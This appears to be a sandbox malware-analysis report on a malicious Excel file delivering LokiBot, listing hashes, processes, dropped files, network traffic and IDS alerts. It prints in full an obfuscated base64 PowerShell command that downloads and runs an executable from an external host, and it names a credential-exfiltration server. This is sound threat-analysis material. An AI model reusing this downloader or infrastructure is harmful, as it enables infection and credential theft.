File name: | ea332ed69b0989db50965c0d788e0729ec8d6320ceab0843b4f8d010859de829.xls |
Full analysis: | https://app.any.run/tasks/10beb24b-ad54-4c7f-b68d-03b5a447dbe4 |
Verdict: | Malicious activity |
Threats: | LokiBot was developed in 2015 to steal information from a variety of applications. Despite the age, this malware is still rather popular among cybercriminals. |
Analysis date: | November 15, 2018, 06:50:43 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: PC, Last Saved By: PC, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Nov 13 23:05:21 2018, Last Saved Time/Date: Tue Nov 13 23:05:23 2018, Security: 0 |
MD5: | D390247DB59B84F3D6C3C6507618EDFF |
SHA1: | C3ADBE4FB74EB4A8129C145474B598E0E07961C1 |
SHA256: | EA332ED69B0989DB50965C0D788E0729EC8D6320CEAB0843B4F8D010859DE829 |
SSDEEP: | 1536:WDZ+RwPONXoRjDhIcp0fDlaGGx+cL26nAAyKm4XFQQqtz20Hghwh9AiIga35+Loe:WDZ+RwPONXoRjDhIcp0fDlaGGx+cL26o |
.xls | | | Microsoft Excel sheet (48) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
CompObjUserType: | Microsoft Office Excel 2003 Worksheet |
---|---|
CompObjUserTypeLen: | 38 |
HeadingPairs: |
|
TitleOfParts: |
|
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 12 |
Company: | - |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
ModifyDate: | 2018:11:13 23:05:23 |
CreateDate: | 2018:11:13 23:05:21 |
Software: | Microsoft Excel |
LastModifiedBy: | PC |
Author: | PC |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3136 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
3420 | cMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAUQBSAHIASQAzAE4ASQBlAFkARABaAGgAbABnACAAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAWgBQAEcANAA4AFIAQQB0ADMARABlAF8ATgBLAFkARgBNADYAQwBvAEMASgBHAG4AdQBQAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABXADkAUwBOAHEALgBlAHgAZQAnADsADQAKAFEAUgByAEkAMwBOAEkAZQBZAEQAWgBoAGwAZwAgACcAaAB0AHQAcABzADoALwAvAGEALgBkAG8AawBvAC4AbQBvAGUALwBuAG0AZgBvAG8AeAAuAGoAcABnACcAIAAkAFoAUABHADQAOABSAEEAdAAzAEQAZQBfAE4ASwBZAEYATQA2AEMAbwBDAEoARwBuAHUAUAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA== | C:\Windows\system32\cMD.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3904 | PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAUQBSAHIASQAzAE4ASQBlAFkARABaAGgAbABnACAAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAWgBQAEcANAA4AFIAQQB0ADMARABlAF8ATgBLAFkARgBNADYAQwBvAEMASgBHAG4AdQBQAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABXADkAUwBOAHEALgBlAHgAZQAnADsADQAKAFEAUgByAEkAMwBOAEkAZQBZAEQAWgBoAGwAZwAgACcAaAB0AHQAcABzADoALwAvAGEALgBkAG8AawBvAC4AbQBvAGUALwBuAG0AZgBvAG8AeAAuAGoAcABnACcAIAAkAFoAUABHADQAOABSAEEAdAAzAEQAZQBfAE4ASwBZAEYATQA2AEMAbwBDAEoARwBuAHUAUAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cMD.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1076 | "C:\Users\admin\W9SNq.exe" | C:\Users\admin\W9SNq.exe | powershell.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3628 | "C:\Windows\System32\mstsc.exe" | C:\Windows\System32\mstsc.exe | W9SNq.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Remote Desktop Connection Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2940 | cMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAUQBSAHIASQAzAE4ASQBlAFkARABaAGgAbABnACAAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAWgBQAEcANAA4AFIAQQB0ADMARABlAF8ATgBLAFkARgBNADYAQwBvAEMASgBHAG4AdQBQAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABXADkAUwBOAHEALgBlAHgAZQAnADsADQAKAFEAUgByAEkAMwBOAEkAZQBZAEQAWgBoAGwAZwAgACcAaAB0AHQAcABzADoALwAvAGEALgBkAG8AawBvAC4AbQBvAGUALwBuAG0AZgBvAG8AeAAuAGoAcABnACcAIAAkAFoAUABHADQAOABSAEEAdAAzAEQAZQBfAE4ASwBZAEYATQA2AEMAbwBDAEoARwBuAHUAUAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA== | C:\Windows\system32\cMD.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3408 | PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAUQBSAHIASQAzAE4ASQBlAFkARABaAGgAbABnACAAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAWgBQAEcANAA4AFIAQQB0ADMARABlAF8ATgBLAFkARgBNADYAQwBvAEMASgBHAG4AdQBQAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABXADkAUwBOAHEALgBlAHgAZQAnADsADQAKAFEAUgByAEkAMwBOAEkAZQBZAEQAWgBoAGwAZwAgACcAaAB0AHQAcABzADoALwAvAGEALgBkAG8AawBvAC4AbQBvAGUALwBuAG0AZgBvAG8AeAAuAGoAcABnACcAIAAkAFoAUABHADQAOABSAEEAdAAzAEQAZQBfAE4ASwBZAEYATQA2AEMAbwBDAEoARwBuAHUAUAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cMD.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3300 | "C:\Users\admin\W9SNq.exe" | C:\Users\admin\W9SNq.exe | powershell.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3936 | "C:\Windows\System32\mstsc.exe" | C:\Windows\System32\mstsc.exe | — | W9SNq.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Remote Desktop Connection Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3136 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR9D8D.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3904 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\52LHIY4PAO2YPBMSOJY1.temp | — | |
MD5:— | SHA256:— | |||
3628 | mstsc.exe | C:\Users\admin\AppData\Roaming\F63AAA\A71D80.lck | — | |
MD5:— | SHA256:— | |||
3408 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y2PNW04ZCMZ1MJGSXCB8.temp | — | |
MD5:— | SHA256:— | |||
3904 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16a6b4.TMP | binary | |
MD5:0C5E84CFB7FDA503A7F95914AD626D14 | SHA256:847C9A54D0A166FB3A44DD4F6C901834D114B86EF68D6E5A7AAA494B6569B01D | |||
3904 | powershell.exe | C:\Users\admin\W9SNq.exe | executable | |
MD5:FF8DE4DC6FDE9E305D001AB67D09F50E | SHA256:F7CE1035831AEFECDBC6AD91A189AF22D7867B8B114DC04739EBBFB00D6FAE8E | |||
3300 | W9SNq.exe | C:\Users\admin\AppData\Local\Temp\Disk.sys | executable | |
MD5:FF8DE4DC6FDE9E305D001AB67D09F50E | SHA256:F7CE1035831AEFECDBC6AD91A189AF22D7867B8B114DC04739EBBFB00D6FAE8E | |||
3628 | mstsc.exe | C:\Users\admin\AppData\Roaming\F63AAA\A71D80.hdb | text | |
MD5:5302B1B5EC232D44E2D9507FB847FC49 | SHA256:20B58A25872B1E3F7D47DAE0C090ACF229C49B6E33939934513499CC37BB2684 | |||
3408 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:0C5E84CFB7FDA503A7F95914AD626D14 | SHA256:847C9A54D0A166FB3A44DD4F6C901834D114B86EF68D6E5A7AAA494B6569B01D | |||
3628 | mstsc.exe | C:\Users\admin\AppData\Roaming\F63AAA\A71D80.exe | executable | |
MD5:68B4A549D0B56A4DD9A488751037CF09 | SHA256:A9286688556DBB45303D3A0E7825294F58FFD48E125518AC33AB009426C967CC |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3628 | mstsc.exe | POST | 404 | 62.141.44.15:80 | http://vexbit.igg.biz/kass1/fred.php | DE | binary | 23 b | malicious |
3628 | mstsc.exe | POST | 404 | 62.141.44.15:80 | http://vexbit.igg.biz/kass1/fred.php | DE | text | 15 b | malicious |
3628 | mstsc.exe | POST | 404 | 62.141.44.15:80 | http://vexbit.igg.biz/kass1/fred.php | DE | binary | 23 b | malicious |
3628 | mstsc.exe | POST | 404 | 62.141.44.15:80 | http://vexbit.igg.biz/kass1/fred.php | DE | text | 15 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3628 | mstsc.exe | 62.141.44.15:80 | vexbit.igg.biz | myLoc managed IT AG | DE | malicious |
3904 | powershell.exe | 185.83.214.16:443 | a.doko.moe | — | PT | suspicious |
3408 | powershell.exe | 185.83.214.16:443 | a.doko.moe | — | PT | suspicious |
Domain | IP | Reputation |
---|---|---|
a.doko.moe |
| unknown |
vexbit.igg.biz |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
3628 | mstsc.exe | A Network Trojan was detected | ET TROJAN LokiBot User-Agent (Charon/Inferno) |
3628 | mstsc.exe | A Network Trojan was detected | ET TROJAN LokiBot Checkin |
3628 | mstsc.exe | A Network Trojan was detected | ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 |
3628 | mstsc.exe | A Network Trojan was detected | ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 |
3628 | mstsc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Loki Bot Check-in M2 |
3628 | mstsc.exe | A Network Trojan was detected | ET TROJAN LokiBot User-Agent (Charon/Inferno) |
3628 | mstsc.exe | A Network Trojan was detected | ET TROJAN LokiBot Checkin |
3628 | mstsc.exe | A Network Trojan was detected | ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 |
3628 | mstsc.exe | A Network Trojan was detected | ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 |
3628 | mstsc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Loki Bot Check-in M2 |